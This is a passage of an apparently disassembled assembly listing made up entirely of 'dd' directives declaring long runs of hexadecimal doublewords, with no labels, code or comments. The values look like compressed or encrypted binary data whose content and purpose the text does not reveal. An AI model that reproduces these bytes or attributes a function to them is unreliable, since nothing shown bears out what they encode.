		dd 0C9273000h, 0B62104h, 0A4C5B066h, 0E437C56h,	22DF1500h
		dd 125590A9h, 38E1C0D1h, 0DCA72B6Ch, 0B6F86900h, 82CE36DAh
		dd 8DF0073h, 0CC1C38D9h, 67F820A3h, 57986450h, 0D0823A0Fh
		dd 19D5E1B3h, 0A051C90Ah, 8820DA25h, 0B59A031Fh, 7AD08E81h
		dd 76D51980h, 0A3E9D900h, 0BCBA596Dh, 0FFB6033Ah, 4ADAB2A2h
		dd 55617000h, 0A059BE7Eh, 32D7CE3h, 5468DC43h, 12E982DBh
		dd 5DA04087h, 0A500BDBEh, 0E480110Bh, 31D447h, 49B7721h
		dd 351E2D61h, 683B0901h, 6908A333h, 0D505B88Ch,	0C700FAA9h
		dd 0EDC05CBAh, 782145h,	116D820Fh, 40795EC4h, 0ADBD701h
		dd 0D42E64ACh, 92B880FEh, 0BDCAF032h, 0FD0B2E70h, 80976678h
		dd 0E8DD12B5h, 0C4E0A044h, 2992124Fh, 0DCB80007h, 0BFB4132Bh
		dd 262FB0Eh, 0ADDDC037h, 9A4073B2h, 18F30034h, 0BA832D9Ah
		dd 9B0707DFh, 756DBDCCh, 192C23C9h, 0A8509B54h,	0C9D5A09h
		dd 7C978976h, 6D00B470h, 524B20E1h, 961E48h, 0DDD81784h
		dd 7131CF4Ch, 14B0A901h
		dd 7EDF74BEh, 1DF222C4h, 0C068EF2Bh, 0ACC3BB17h, 0C00043E7h
		dd 0BC88714Ah, 5B945Eh,	9C80EC7Bh, 6CE8D760h, 0A0556603h
		dd 80512F0Fh, 119768Fh,	3DA856DCh, 0D02AA510h, 87175AC8h
		dd 831C0932h, 0AC964CC0h, 7529A1h, 3D9C348Bh, 82ADBC4h
		dd 9A64B500h, 0B925C020h, 7ADD0331h, 0C5A9D9B1h, 473E290h
		dd 0D8B65A00h, 0A415C3D1h, 873B4C18h, 1434700h,	0ECE71CCh
		dd 45F6E300h, 0B7C6195Dh, 3740014Ch, 0FD36ED3Eh, 3E3308Eh
		dd 20D44E00h, 0C90F8BB8h, 8777001Eh, 40241321h,	0E500C864h
		dd 0B39AA36Dh, 77F5A2EBh, 9CFC00FAh, 1A997A6Ah,	84160CF9h
		dd 0BB0F4B08h, 43AB20D3h, 0F872D1E2h, 19FE7Bh, 0E4D71F02h
		dd 0C7D809F0h, 0BC356900h, 0DC3789C8h, 0D5FB0303h, 0A421D4D7h
		dd 3434D3E1h, 0F21FDF3Ch, 0A74026E3h, 0B145B205h, 7E200C2h
		dd 6B0E4D91h, 73003EBAh, 0E5305FACh, 2B3C8CAh, 32187786h
		dd 8483661h, 0DC3C31F1h, 0C859123Ch, 0D3EAA00h,	39E71E94h
		dd 0F7806FD6h, 393666ADh, 896367FCh, 0A4719E88h, 0E5F28800h
		dd 0E8F6DA18h, 425F4100h, 0B88DC6FDh, 8F761E40h, 5C9E409Bh
		dd 158ED0BFh, 18999C1Dh, 0F5018401h, 93F44F49h,	9A540023h
		dd 88271A0Eh, 61F9526h,	3D42925Fh, 402BA78Bh, 61AD5Eh
		dd 0AE459A48h, 0E032CE2Fh, 34546300h, 0A60D1C15h, 7DBA2C71h
		dd 0EA6C8h, 842C4B10h, 0FF38E764h, 396F808Eh, 373CCEF7h
		dd 87550E1Bh, 0F2000CF8h, 0C7C4CD85h, 0A414B700h, 0E97567ECh
		dd 0E79C0024h, 26DF8CA9h, 4D007658h, 0E8059D15h, 0B8644921h
		dd 0B5A40FDAh, 8980EC38h, 9A08545Ch, 8FA3F900h,	0BFF3ABFCh
		dd 0A4F70B5Bh, 0C000AA0Bh, 68ECB51Fh, 0A1009C71h, 598BFD69h
		dd 3CC82529h, 7D81E4D0h, 2A997F82h, 0CCDCC153h,	31039DA5h
		dd 65EB9E64h, 0A9FD805Dh, 10EA007Bh, 24510886h,	0D3CA5C6h
		dd 66B48005h, 2815C02Ch, 0FAF60A7Ch, 8088CEA0h,	192D3BFFh
		dd 210EAC60h, 0C0726CB0h, 0E1A5778Ah, 8C18383Ch, 6F4E0C81h
		dd 0C4A494F9h, 1100027Bh, 47576CADh, 2CD9556Ah,	80E04251h
		dd 52017C6Eh, 21E882C5h, 895B700h, 6438F89Dh, 72471F98h
		dd 57D880F9h, 7A0FBA0Ch, 0A7292F6Eh, 0C850C03Ah, 1C7033BDh
		dd 0C048B57Bh, 0CB347EDCh, 68F2CE12h, 5147D700h, 959899D2h
		dd 1A91002Ah, 2E56E13Bh, 2600CBECh, 0B2723C2h, 222550Ah
		dd 2BA4388Bh, 0F4C8862Ah, 6F00E8EEh, 7635BBC7h,	707C87h
		dd 0EBF848B7h, 24B90C23h, 7FD4AB18h, 16359B68h,	40E61986h
		dd 12A2A5DCh, 58037A97h, 0A1EB038Ch, 848094C0h,	742A88C3h
		dd 754909B6h, 90204A46h, 30A31CDh, 0C280321Ch, 0DE063A1Dh
		dd 0E0207A6Ch, 7477F84Ah, 1213000Dh, 18BBFF65h,	22002F6Bh
		dd 63436045h, 189F1FF5h, 0C8489ECCh, 6A03657Dh,	4A660A29h
		dd 5C78EEDCh, 751EF159h, 0AC81C113h, 0D865BA3Dh, 852A4A2Bh
		dd 391C803Fh, 171FD980h, 0C4914h, 7BA1F706h, 0D86A4Dh
		dd 3C4F715Dh, 0DF252DF3h, 7012A300h, 0C94B1D48h, 0D1730072h
		dd 840BDB59h, 0F300674Ah, 0D47F7719h, 453148h, 9F355370h
		dd 0F14B817Eh, 4D66D700h, 1068DF1Dh, 0C3F01Eh, 9D6220ADh
		dd 0BE03283Ch, 771F8C00h, 384AEEB2h, 0F33E00ACh, 11D8929Bh
		dd 0BF004BDAh, 329FE4BAh, 0AF3C28h, 0A6164520h,	64D371B2h
		dd 33172600h, 1A8CE3C0h, 0C51D00ACh, 0CFA1AB69h, 0AF0078D9h
		dd 29B6932Fh, 793C7FA6h, 84031FD3h, 4DE904C0h, 0F9C31F31h
		dd 15823520h, 0B88D8E10h, 705ADC0Ch, 2010F630h,	0FC5D6585h
		dd 740CE03Ah, 1611F74Ch, 810D9B3Dh, 0A06A957Dh,	892C575h
		dd 0BC20C001h, 0E09F0DB3h, 1E4E05h, 0C964D2E9h,	9624F97Dh
		dd 6D4F30Ch, 78CF7075h,	36F418F2h, 0A4A11072h, 4D21C512h
		dd 605E304Fh, 0E8C3B037h, 0C885192Ah, 806C08E0h, 37DB8B21h
		dd 0F3B6DDh, 0C1B4AC3Ch, 13415674h, 6A003978h, 3E9FFCADh
		dd 60A7993Dh, 0FDEE105Ah, 0CA26FA32h, 470039D3h, 9BCE0D26h
		dd 57AB01DEh, 0A21EAF1h, 0DC873077h, 0C30F3CE6h, 0D0FF72h
		dd 699552C5h, 0A5AD295Eh, 1EEEC004h, 0D10FF42Ah, 808F9EE6h
		dd 2416B481h, 93874CC9h, 98395E00h, 0E5322F99h,	0A949E119h
		dd 6931D540h, 1B75BD0h,	7EC6C424h, 0E40B5390h, 0DF0CC14Eh
		dd 204D0480h, 0F3750AA5h, 782045DDh, 308C11C3h,	5AA99CF6h
		dd 3006E22h, 0F00F3392h, 28EE6A10h, 70DE659Ah, 0DC1E006Fh
		dd 53A9FCA5h, 1F71E62Ch, 0ADB94C00h, 0FAD72893h, 0C02E67D4h
		dd 383071FDh, 2F788035h, 16BC51BFh, 9E5E0AF8h, 808C9311h
		dd 9404C1E8h, 0C90AE45Ah, 9C4AA41Dh, 7018D783h,	9E401D4Bh
		dd 84290A6Ah, 0D48882A8h, 9C808F85h, 2B2EEED7h,	73BA7C00h
		dd 2A4BDD29h, 0B1190161h, 1837CFA6h, 4818CFFCh,	2C796DC8h
		dd 0B05907F7h, 72A7CEh,	26318DD2h, 0EB953C06h, 20809654h
		dd 0CF0C4EBCh, 708919ECh, 0A4D30E23h, 9CF5F6C3h, 1198D24h
		dd 4561342Ch, 9851D552h, 0F721A308h, 0A826007Eh, 0EF4E62BBh
		dd 360CB88Fh, 0F89AA461h, 65CD30C1h, 57D64D99h,	5BF1C915h
		dd 0C7180084h, 1EF34714h, 80E72C2Bh, 10B242Fh, 0D77328BFh
		dd 8499FCBCh, 0CCB36F1Eh, 6570E901h, 818FB5F6h,	4A050DBh
		dd 6FA0F39Fh, 6058FDE3h, 0EE005ACCh, 0E9FF325Eh, 1C918892h
		dd 0BEDB2E90h, 709EAE03h, 8033099h, 5CE3269Fh, 0E07BA08Bh
		dd 0CC1186Ah, 1C9EC079h, 0CCE85344h, 3018937Eh,	9000F2F8h
		dd 6898F9Bh, 496E32Eh, 0C24347Dh, 6A848138h, 88A84EAEh
		dd 0AF73C0A1h, 0BA17423Ch, 0B00381Fh, 6DD427CEh, 0D5D4A0B1h
		dd 55982878h, 0E84006E0h, 987024D1h, 484BFA04h,	0D5019E56h
		dd 8F3A4C80h, 15BC2828h, 777D03F4h, 32641Ch, 0D6059628h
		dd 196AF744h, 0F16FCD30h, 0C0428801h, 0AFD2FC86h, 5524CB39h
		dd 1C805493h, 0D8D3E1B9h, 0D2B400CCh, 89470877h, 41076D7Ch
		dd 0F59EFB23h, 0E9D92Ch, 0CA9A91C6h, 3DA75104h,	858C2500h
		dd 2CA3B7F9h, 351F01E3h, 0D51D2132h, 526D70FAh,	9FAF5415h
		dd 0ACE098C8h, 0D1D480E7h, 5733561Fh, 9046B428h, 25265802h
		dd 0A0315934h, 264FEC10h, 0B3390100h, 0E9E70A71h, 5BA92686h
		dd 99310A04h, 6E943B94h, 0C700E4B2h, 28E9421Dh,	0F031631Ch
		dd 9DB528A7h, 54448104h, 0DB82074Dh, 0F67048E6h, 4771DCAFh
		dd 0E030E89Ch, 0E107E723h, 5BFBF900h, 0CC731C88h, 8BD200C1h
		dd 6A4B8D78h, 28A0190Bh, 9D01A8ACh, 0D11245DCh,	84478058h
		dd 147659BCh, 88E2A01Ch, 7387C848h, 0D19121DDh,	6723F07Eh
		dd 1FEE19C0h, 63F140C5h, 0A09AA1E3h, 0FD8384D9h, 9C24202Bh
		dd 9DF9540h, 0FBC9EC1Dh, 0CA018880h, 24A06AF5h,	9D69A4C1h
		dd 75FC0228h, 6404294Eh, 5AF34095h, 605828D7h, 91EC859h
		dd 0E0341835h, 10C01083h, 82A9F9A1h, 5280B482h,	50000805h
		dd 484F4331h, 0EA7402CEh, 71C0D113h, 0C5C80009h, 0F2772363h
		dd 266F44Ah, 52DD7EEEh,	0EC427D89h, 5B672040h, 2B30C172h
		dd 804599A3h, 0A12C3A7Dh, 0DF4B0F86h, 9944B847h, 0E4E737AAh
		dd 8834C581h, 0BC14BA74h, 0EF891BDh, 70582055h,	3EC2403h
		dd 0F6E1933Ch, 22710A7h, 7D971873h, 5BBB8823h, 2D042490h
		dd 0CD6EE8B3h, 561044C1h, 0FCDC48h, 58D36149h, 5BC5D7DEh
		dd 9E2E8005h, 0BC406C19h, 955D90BFh, 556E18AEh,	5C70399Ch
		dd 6040D0Ah, 0E04E9C0Ah, 0B11A681Bh, 8B160546h,	909C30E9h
		dd 6DC4A858h, 0CDA0BCABh
		dd 0FCF89754h, 28101D00h, 7D0C2AE5h, 0D1A92ADDh, 0C0694CC8h
		dd 6DD39C0Ch, 5A886690h, 98BC56CBh, 6C78D70Bh, 654B4823h
		dd 0F18CC1BFh, 3E21835Fh, 9284D5E0h, 0DDE461D1h, 0C7E8E834h
		dd 0E0D79121h, 5758302Fh, 3C18E21Dh, 25B4E0C2h,	30686379h
		dd 0EC603612h, 340A7680h, 0E8E88A4Fh, 59D7D580h, 0F2AF015Fh
		dd 4C3748ECh, 50614809h, 0D5AE5823h, 0CCDA5EC8h, 274964A0h
		dd 0E84E6A01h, 0E091893Ah, 0C05D1864h, 6A2FA621h, 6800FF4Dh
		dd 0C5E960D4h, 1AEEAA9Ch, 587E28D9h, 60D44043h,	72392654h
		dd 0C59CB134h, 503787E8h, 8503BDDEh, 4FEF7607h,	502CB0C1h
		dd 36B7002Dh, 0E8692E5Fh, 0AB613061h, 21E22C18h, 0D8C899B2h
		dd 116A3930h, 888AE854h, 21AC8055h, 2312A26Ah, 88858931h
		dd 1040C7CDh, 90BA5Dh, 0E3F707F2h, 54D5CF3Ch, 0F77FE00h
		dd 44846535h, 0E667026Eh, 82536BD9h, 0E5AAFC81h, 24835BDh
		dd 39337FF8h, 39148B44h, 0F3C8F871h, 0CEE7248Fh, 4FB0C308h
		dd 0A088FC5Ah, 0D02B14FAh, 307CE0E1h, 0AC19B763h, 364071F4h
		dd 95A303E6h, 0B9300B20h, 0B6C168D3h, 0C975F477h, 2E694A04h
		dd 94909655h, 31FC185h,	32A527E5h, 93020A9h, 99652194h
		dd 10680E1Fh, 4006AB6h,	5641D3CBh, 2061EE0Ah, 7600C086h
		dd 397D6562h, 53F1C840h, 9FD5E3C1h, 8670D9C8h, 7EA0E244h
		dd 356E04DAh, 0D05A3420h, 0DB18EC8Ch, 50539132h, 0D5CE3052h
		dd 41568A72h, 3FF922A0h, 7AE623h, 0F1F2C22Ah, 0BB51A3B2h
		dd 22D46748h, 56083054h, 158A5731h, 7E02AFE6h, 0F6D5A2BBh
		dd 40E86098h, 1C328075h, 0A6301B00h, 0B523E88Fh, 672B002Fh
		dd 361215DDh, 0D654EB2Dh, 7B0486B4h, 30694B3Fh,	0E31F9F60h
		dd 0C0952721h, 0F11F9763h, 0E223021Ch, 872FC0C0h, 10EFF9A6h
		dd 5BF48C1h, 59D8E6C7h,	0D484B840h, 91F56941h, 7E580010h
		dd 0F123F3A8h, 67D1EF12h, 23C44854h, 265A01C2h,	1829342Bh
		dd 0E0F68999h, 0CD1F7226h, 94AAE6A9h, 0A79DCB09h, 36FC40D1h
		dd 27CC0B8Eh, 0F0846A92h, 0D1EE4480h, 71C78488h, 2A927F1Fh
		dd 28BC59C8h, 92CCCBh, 7966C158h, 0A280B2E7h, 312A8277h
		dd 4517B0EDh, 3001F1EFh, 4AE57D2Eh, 0BFC8A84Bh,	12D85AC0h
		dd 74802C55h, 71D4404Ch, 2C92AAACh, 0E20E4646h,	0E1449ED5h
		dd 8F783770h, 2EC0D99Fh, 0F41C94E5h, 21F05060h,	0E6D76Dh
		dd 44DDB8E1h, 59CC7E96h, 5F0070B0h, 2C84D040h, 755C30EBh
		dd 426C34AEh, 9F548E38h, 0A42400E3h, 0C7301E72h, 1DD13703h
		dd 53A34DDCh, 0BD0004D0h, 0E3CA9B6Dh, 0D4FC7185h, 0DD841200h
		dd 86AD70F9h, 0E892051Bh, 949CE4D9h, 0E00CCD00h, 19E2BAD3h
		dd 185090A1h, 98D539E4h, 9D0F877Ah, 8159C9DBh, 3551F4F0h
		dd 3BC50ACh, 0C6772AB7h, 865E293Ch, 96ED2427h, 8A2C39B8h
		dd 8E6CC026h, 11851E6Eh, 86A88D34h, 943DBC90h, 2CDB030h
		dd 190B9FBDh, 0EC834F9Ch, 310768CDh, 28B3299Eh,	7AF35A80h
		dd 0DBC0A0ABh, 0E3B61F0Bh, 716CE91Dh, 72218E8h,	0B082841Dh
		dd 2AA9D194h, 0E8F03914h, 11484260h, 8A97DEBh, 11461E20h
		dd 0CAE3F061h, 0A2FC23F7h, 0A78530A6h, 0F5775813h, 28782890h
		dd 46EF06C7h, 0D0E98490h, 0D46F0AC3h, 9683F07Dh, 3A88036Eh
		dd 9BF6291Eh, 0BF953900h, 0EE05903Fh, 1D790028h, 2AA7C617h
		dd 5F1F4C9Ch, 0AE4FE36Fh, 79D444E4h, 6CDD0890h,	0E8985094h
		dd 0C641121Eh, 8AEC428Dh, 74583A14h, 55243EB0h,	9D80F8A8h
		dd 51B6A220h, 0EE863BACh, 0AB34084Fh, 8259E20Bh, 20922C18h
		dd 0DDA056CAh, 79EE3D06h, 0B19A580h, 43635CB2h,	0B6EA6C03h
		dd 209EC909h, 21302060h, 711EBEDDh, 30917416h, 33B9A9BCh
		dd 8312C32h, 5DDAA05Bh,	0F9E14CE1h, 6F5CC64h, 0D5C428ACh
		dd 950330A1h, 17E067F3h, 813AA036h, 0ECA900F5h,	6ABAAEDBh
		dd 8500BCD7h, 0EBB74931h, 0E71473C9h, 1251D4h, 0ACFDDCF0h
		dd 57930D37h, 0E0D7E40Ch, 60FC0870h, 65202013h,	170FED37h
		dd 4EB029CCh, 6526046h,	31D3Dh,	25AB125Dh, 4B9C73D2h, 81509A28h
		dd 0F0BC5F03h, 0E1EE8F1h, 95725D48h, 0EC9DB723h, 0C4935198h
		dd 216B08CDh, 8195A540h, 6E4F0060h, 49BFACFBh, 31D1CB6h
		dd 2930E8CBh, 3C596Ah, 0D4370DBCh, 495B2D4Dh, 28C4CBB0h
		dd 0E818C361h, 486EAADh, 932137A8h, 140F61B7h, 37C1A400h
		dd 0E7074FFAh, 0DAE39C02h, 1B034530h, 0F0DD4012h, 0F9225F07h
		dd 950B408h, 0C00FC94Dh, 318F0420h, 0F9C8B3E6h,	9591C00Dh
		dd 0C219DC3h, 6C91B1h, 3896C953h, 13FFE86h, 600698CDh
		dd 800E5922h, 0D4331968h, 3FF31466h, 0E867CE3Ah, 0D05EA086h
		dd 0EE3DAD01h, 253180F6h, 0F572B3F1h, 367C4C70h, 5C209800h
		dd 5BDBA9ABh, 54C7600h,	57EB9001h, 7D6100B2h, 0F1BAE202h
		dd 2C68EC75h, 49700411h, 0E1FC3E4Fh, 9EB93400h,	87B2E9F5h
		dd 36588500h, 0DE9CD041h, 0C69005Bh, 94D28295h,	0E214EB54h
		dd 815DB9h, 3478158h, 3DACA873h, 0C600FABAh, 5B8E31FEh
		dd 45003339h, 0C1AE7126h, 0D3DF8h, 0E8DE5A0Fh, 0A2939DD1h
		dd 4A4B1600h, 0ECF4D0ABh, 19BB30D7h, 0F793D621h, 0B8CEA903h
		dd 0B9329BE3h, 0F9FC3C71h, 8E11003Dh, 58FC0EECh, 5000FF23h
		dd 30E6FD34h, 7C3E3B1Fh, 739E01E1h, 5E4F7ECBh, 8EB760C3h
		dd 28813600h, 9314DE40h, 1E96139Ch, 0A3A3004Bh,	1832B011h
		dd 991FA574h, 5340CFAAh, 16929772h, 0EBB7B9Dh, 6EDBEEC7h
		dd 0AA3FC540h, 5F034EB9h, 3078758h, 4285E8A9h, 70231FC4h
		dd 2EF60011h, 500C63F0h, 8059A200h, 0B2783CE4h,	574F30EDh
		dd 8508C220h, 0EE1EA470h, 5000C081h, 0EF4B9332h, 900D0AFFh
		dd 0EDC01A7h, 23C1664Fh, 50AAA678h, 0AE951F94h,	2FCF800h
		dd 0F7401383h, 4FCA0076h, 5E50865Dh, 800769DFh,	57A9245Fh
		dd 8B0020D9h, 4EAF7FF8h, 18FAB897h, 0BD50D73Ah,	0BFD300F3h
		dd 0E975F8B6h, 4F052658h, 0C0E39D17h, 0A740CC80h, 0A41F2437h
		dd 0ED13003Ah, 4BFECFADh, 3B385801h, 16B8BA12h,	0C290A180h
		dd 0BE06C482h, 65E0B3Dh, 403992D7h, 25870071h, 0FC2D4782h
		dd 55002BA6h, 43AE7921h, 355A46h, 0F5A03190h, 0D882D02Eh
		dd 0E96C9C00h, 0EED66FE7h, 0C7653B94h, 55B2580h, 0A317D34Fh
		dd 6200B37Eh, 947F1B02h, 1F8A7143h, 40AA5FA9h, 0BA459D7Eh
		dd 0EF14D8CCh, 0E88E096h, 0CF3378FAh, 6BD009Ah,	0A94119h
		dd 0D0C9483Ah, 0F8070369h, 0ACAE7A00h, 0F0CE49Bh, 0B8420011h
		dd 838D104Eh, 3BE6D7BBh, 0F4A6310Ch, 339C82F1h,	0E0281644h
		dd 0F7FB80A4h, 3A00E6EEh, 84049E28h, 9CED6h, 9F417F93h
		dd 0B30B8C29h, 99741903h, 0C85FD2FCh, 9D54C1h, 0D425DDD1h
		dd 0F2CB646Fh, 9F678300h, 77BDE173h, 3701007Ah,	7D217624h
		dd 723D4DB7h, 5970806Dh, 0BAB21CBFh, 0BEEA045Dh, 0C2E4E22Fh
		dd 0DC80A800h, 36C6B5ECh, 7BB67901h, 0EDE113A4h, 5549D0h
		dd 0D7B1A332h, 3BDDD553h, 2D99EF01h, 0C903C04h,	0BCCD8BEh
		dd 0E8005E3Dh, 0E073E925h, 0AD248733h, 98000C2h, 4A715C7Fh
		dd 0BF80C246h, 58007D22h, 0FBF5AEh, 2E418219h, 35E6B205h
		dd 9562D51Fh, 9B8366DFh, 0A1FD2213h, 0C5E05E7Fh, 0B24801E5h
		dd 16E8DBB0h, 8807FFBEh, 3E0FEB56h, 0BF016A30h,	10A300B8h
		dd 0DD36FF58h, 750E4CB7h, 0FC90D4h, 0E36C5507h,	817632h
		dd 5754CE6Ah, 2386C1E6h, 0A93E2B07h, 33F02648h,	3B1737C7h
		dd 2183A024h
		dd 0C53BF573h, 420BA3A8h, 29E9F80Eh, 65AD60F2h,	999A6784h
		dd 9E69001Ch, 5DD20943h, 0FBB6D500h, 1E259C16h,	89020784h
		dd 608818C9h, 0DFF8C36Dh, 0F0789200h, 6BA54F30h, 0CEE10432h
		dd 87CB62D7h, 35E5F050h, 1900383Fh, 7F06CA73h, 727F759h
		dd 58B54E30h, 0E90E8BEBh, 8B752CA3h, 0A694CEA8h, 79FC7707h
		dd 800B28DDh, 1F45E93Ch, 8C7D4C4Fh, 0D5929302h,	6D40BF9Fh
		dd 561FF421h, 1B00A550h, 28F50FAAh, 910D004Bh, 937B7D8h
		dd 200B8D9h, 0B311FCD3h, 0CEE2C6h, 0D8ABDA4Dh, 0A76B2FBCh
		dd 0D3F5E713h, 9CC63440h, 2F9D49Fh, 6FBC47C2h, 5860ADAFh
		dd 2900F2DFh, 0E2B472FEh, 412815h, 0E63B5792h, 814EA3DCh
		dd 0EC4AFC00h, 8475B9ADh, 0E4DD0F6Bh, 0AF81C210h, 0FC91D0E6h
		dd 0DB0730BFh, 140E3E06h, 5373A970h, 22930158h,	44FFA566h
		dd 97BBE0E8h, 859B5209h, 0D4BC808Bh, 76E5A10h, 3EEC766Dh
		dd 873780B2h, 6B3F01EEh, 8D4280EDh, 63542ADCh, 477E68h
		dd 64614389h, 1E23ABB5h, 0A40F1809h, 786800EBh,	1FAF5F17h
		dd 2429E8BFh, 880A0140h, 80B81B3Ah, 0FF9693F8h,	0C8117F3h
		dd 0B683A422h, 0CB002918h, 0C2BF8C28h, 0F1E9A3Eh, 0EDCEF18Ah
		dd 0D0E9B707h, 585CFBA3h, 0AA529403h, 99DB6CFCh, 72801E05h
		dd 3BBA24FDh, 0C51CF039h, 6C00445h, 5B283355h, 0E11112E4h
		dd 99DC073Dh, 6B48A06Ch, 6928B503h, 1C01AEA5h, 0CC76DF13h
		dd 696482EBh, 7EFA015Dh, 77D3212Ah, 0D0E1DCE5h,	22CC8E0Fh
		dd 0A414016Ch, 9C304A75h, 58D700E9h, 43649DB3h,	0C13DCAF9h
		dd 81B9BE23h, 0C23569DCh, 15D01E13h, 544A00BFh,	56F7588Eh
		dd 0AA7498EAh, 0AFFF1900h, 7363A8BCh, 9A3B005Fh, 0BE0FADFEh
		dd 43171580h, 0D5FC9DCBh, 26225900h, 6C62E05Ch,	45A5AD05h
		dd 180FEC2h, 5ACFCBh, 0A2255010h, 7C1C5257h, 0C1F6511Ch
		dd 228E007Bh, 252F4658h, 7EB0E5h, 0E335F1C3h, 0BC89AEC9h
		dd 8B37CC00h, 99F4468Dh, 72C2008Fh, 3C6683A5h, 30984B54h
		dd 92051EF0h, 0B0AB47A4h, 0E0F85BC2h, 127A7DA4h, 0AE57B5h
		dd 146D3E78h, 2E0AC647h, 0BA9A7C75h, 9B226407h,	0F1D2ED00h
		dd 0B7D90FF3h, 0A16023B4h, 6C5ED774h, 9C186109h, 0AE2A01FAh
		dd 0A5CCFE11h, 82C41EAAh, 17F12A1h, 3DCA738h, 6EB17085h
		dd 0DDA9D005h, 1002A082h, 0EA03D5A1h, 4D87D5F8h, 0F196509Ah
		dd 0E36F3456h, 89EEAF18h, 2DE18465h, 114BD880h,	875A0073h
		dd 0CF8EAAD7h, 9D0035DCh, 0F777D4D6h, 0B893FF8h, 0F2212B29h
		dd 8F3E4200h, 0FD7ACDABh, 287A3600h, 0A2393CFCh, 8840A3C7h
		dd 2865F1A6h, 3E50A5F6h, 7080AFEDh, 490AAEAAh, 75287161h
		dd 8F0010C6h, 0A9D21687h, 0C005F6CBh, 0D16D61A1h, 0F1190677h
		dd 94D00F9Ah, 491C48h, 5459AE8Fh, 904FF8EDh, 1A7DDA00h
		dd 3BA4430h, 0FE228h, 0A5FB18C2h, 0CA3D9B37h, 3BC7A300h
		dd 3890F351h, 360700F5h, 2EF2CE1Dh, 0D4002C8Bh,	8B731D8h
		dd 5237ACh, 951E4DEFh, 17F48243h, 0C9B8040Bh, 1DA78201h
		dd 5B93E0B7h, 8BD2006Ch, 0A8299DF1h, 0F076A86h,	0D9F4DE22h
		dd 3F9FF6A0h, 0E0D3046Ch, 88DDF7E2h, 381DA224h,	3E41A668h
		dd 4675D2F1h, 21E108BCh, 2067D1C3h, 0FC00B52Ch,	0AA3A8C16h
		dd 0F821F6h, 577DD323h,	3FF80B6h, 38685C07h, 8EC32404h
		dd 704062F0h, 3B18DC1Eh, 219B7D68h, 0AE91F0D6h,	6834BC0Eh
		dd 6AE7C040h, 6E02F63Fh, 62F2385Fh, 6D8900Fh, 6883EB3Dh
		dd 88B24E37h, 0E2DC8044h, 0AAF4E4F0h, 0C112860h, 0F23943A7h
		dd 61619AFh, 973A09A2h,	0DE00EC21h, 3EBC03EBh, 60DCE4ACh
		dd 80AA91FDh, 10EEE8E5h, 93157700h, 0FDF8543Bh,	0F580A0C8h
		dd 0ED86204Eh, 50C04A74h, 33DD8C2Ch, 2A85009Ah,	9B695779h
		dd 23003CDAh, 0BAE6994Eh, 0CF2CF26h, 2D27FCEBh,	413C3B10h
		dd 6D4803E9h, 0F8AF13D6h, 50D5F2h, 0B193B4D2h, 0E55B60C6h
		dd 0D0BF472Ch, 1E008E1Dh, 9DA6EC3Eh, 0CCB71DB4h, 0DCE84049h
		dd 0C745BBAh, 0F7391D01h, 3E290E73h, 4D20E631h,	0CA3100BBh
		dd 9B4D3DC5h, 0AB0E9233h, 0B41BD2h, 0EB715619h,	0BC913B64h
		dd 0B500D73Fh, 0AEDC061Ah, 5A7E05BEh, 0DAE282B0h, 8C62C005h
		dd 0B280A89Eh, 0C0E2AA61h, 865CECF0h, 7C0367E7h, 0C2A01420h
		dd 11F388C3h, 0A86F0049h, 4D8F0BC6h, 0F4B08AC4h, 6663010Eh
		dd 3F1260A9h, 357E3EDh,	0D9C8B9CFh, 10002335h, 3EE11C69h
		dd 2E2224h, 3D256CC5h, 9EA4FDBh, 20B46230h, 6095082Ah
		dd 31F1182Ch, 1100CE60h, 0DFE07447h, 0FE21156Ch, 0A6DB1C8Eh
		dd 48C2DB64h, 1039C5C0h, 0B3B71300h, 0B145DF80h, 8C3F031Eh
		dd 6019A3D8h, 0AD78A175h, 1EC0E7F9h, 0F63D18FDh, 0C3CF0C65h
		dd 23382Fh, 29D6393Ah, 44D7F030h, 4DCDC003h, 6E32F3h, 51A2549Ah
		dd 148F0AFBh, 4033D701h, 13C47CBDh, 0EF97D4h, 9E06B082h
		dd 0CEAB745Ah, 0DF1CDE00h, 2FDB9211h, 2A3C0045h, 5E843ECDh
		dd 0DE010D20h, 63B83394h, 0EEC0D9BDh, 111C00E6h, 87715AD4h
		dd 7F3C2EABh, 0F7DC0010h, 152D298Bh, 30FA0074h,	0E073A48Ch
		dd 7D00BF0Eh, 7FC1F94Ch, 57B455h, 0D2FC6741h, 58BBF7ACh
		dd 6D006E75h, 0C37C65D3h, 0B8984325h, 56E20098h, 4AFEDBFAh
		dd 850033D8h, 18147961h, 9C623Dh, 0D1F7C213h, 0F117A5A8h
		dd 76168501h, 860C5AC1h, 761E4FCh, 21DFB782h, 0F21C5015h
		dd 0C100D59Dh, 39D67BDBh, 0EAA937h, 92D76C55h, 5C2E0ABCh
		dd 0EBE8100h, 5B6DA46Bh, 0ACDC1F67h, 0C09D00B2h, 22F13589h
		dd 0DD61B900h, 0B4675541h, 4833001Dh, 24C76C69h, 78009EC0h
		dd 0DE8C8FCBh, 0FC4EB5Bh, 0F463EA8Dh, 0F334A4E1h, 78E4402Ah
		dd 5A006901h, 1D6FD2D8h, 0FC8CB0h, 774A37B1h, 27E5BF23h
		dd 5900BD77h, 95D4578Dh, 9ED066h, 0B6AAD20Ah, 3842C3E0h
		dd 54FAD600h, 0F4BC55BBh, 0E62B00D0h, 0AB293F99h, 4500A7E0h
		dd 0B6040EA2h, 0F173ECBh, 0CC5B59AAh, 0D56E1EE3h, 8225B9A1h
		dd 0B7F1C980h, 0EB58E055h, 6D1F005Eh, 41BA4F88h, 2A00DF61h
		dd 0D2C7C97Bh, 485B3F46h, 7900081Dh, 8456636Fh,	1500CAECh
		dd 0B9BF6539h, 9CABA2h,	0ACD94437h, 0ED8DFCA7h,	4D07D5E2h
		dd 567093F1h, 91A4F930h, 49300015h, 28A7B0D2h, 0E2F24A9Eh
		dd 0A2B52F00h, 7790ECBFh, 61FA008Ch, 8F8909F3h,	4C72B308h
		dd 15E33200h, 6972BE4h,	0EA312864h, 0BF98019Ch,	1FEFDF5h
		dd 84B16BB6h, 6E191883h, 0A0B7E1DDh, 468A11B4h,	41078C98h
		dd 560E612Bh, 82CE7460h, 0AF9C07B6h, 9066D438h,	0BDE4F11Eh
		dd 39CC9300h, 6DC189A3h, 0F9542F4Fh, 7E476A40h,	25E8D800h
		dd 284980C5h, 8E530123h, 141CB04Dh, 555EE044h, 0C0576000h
		dd 13C8BDE5h, 1E860753h, 0A7216Ah, 9814FC4Fh, 37000C71h
		dd 46AD503Dh, 0B12A39h,	7831C524h, 6F0D1943h, 0CB37C8F2h
		dd 0F29018B5h, 4CE201Bh, 0FBA88012h, 0EA0700B0h, 1ED77110h
